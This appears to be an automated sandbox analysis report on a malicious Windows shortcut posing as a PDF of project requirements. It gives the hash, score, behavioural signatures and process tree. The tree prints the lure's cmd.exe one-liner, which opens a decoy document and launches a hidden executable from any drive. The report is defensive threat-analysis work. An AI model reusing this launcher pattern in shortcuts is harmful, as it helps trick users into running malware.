Analysis
- max time kernel
298s - max time network
299s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
05/09/2026, 03:49
General
- Target Hawthon_Project_Requirements.pdf.lnk
- Size 1KB
- Sample260905-edjekswdpd
- SHA256 e54f250acaa5cdecefb3b808e815bf18612d9b10e8da1eb1a08c3d5b93419e35
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Hawthon_Project_Requirements.pdf.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c for %i in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W:) do @if exist "%i\sync.exe" (start "" "%i\Hawthon_Project_Requirements.pdf" & start "" "%i\sync.exe" & exit)2⤵
- Executes a command shell one-liner
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